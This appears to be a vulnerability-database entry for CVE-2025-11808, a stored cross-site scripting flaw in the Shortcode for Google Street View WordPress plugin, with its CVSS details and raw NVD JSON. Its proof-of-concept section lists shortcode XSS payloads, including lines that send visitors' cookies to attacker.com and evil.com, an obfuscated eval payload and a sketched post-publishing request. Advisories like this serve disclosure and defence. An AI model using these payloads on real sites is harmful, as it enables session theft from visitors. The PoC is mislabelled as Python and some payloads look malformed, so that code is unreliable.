Security Vulnerability Report
中文
CVE-2025-11808 CVSS 6.4 MEDIUM

CVE-2025-11808

Published: 2025-11-21 09:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Shortcode for Google Street View plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'streetview' shortcode in all versions up to, and including, 0.5.7. This is due to insufficient input sanitization and output escaping on the 'id' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Shortcode for Google Street View plugin for WordPress <= 0.5.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Shortcode for Google Street View XSS PoC --> <!-- Attacker with Contributor+ role can inject malicious script via shortcode --> <!-- Basic XSS payload example --> [streetview id='"><script>alert(document.cookie)</script>'] <!-- Alternative payload using onerror event --> [streetview id='x' onerror='fetch("https://attacker.com/steal?c="+document.cookie)'] <!-- Stored XSS with image tag --> [streetview id='"><img src=x onerror=eval(atob("YWxlcnQoJ1hTUycpOw=="))>'] <!-- Real attack scenario: Create new post with malicious shortcode --> <!-- POST /wp-admin/post.php HTTP/1.1 --> <!-- Content: post_title=Street View Test&content=[streetview id="onerror=document.location='https://evil.com/log.php?c='+document.cookie"]&post_status=publish

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11808", "sourceIdentifier": "[email protected]", "published": "2025-11-21T09:15:45.853", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Shortcode for Google Street View plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'streetview' shortcode in all versions up to, and including, 0.5.7. This is due to insufficient input sanitization and output escaping on the 'id' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-google-street-view-shortcode/tags/0.5.7/gsv-shortcode.php#L108", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a8a5b5ce-9975-449b-bdd1-d139f1360297?source=cve", "source": "[email protected]"}]}}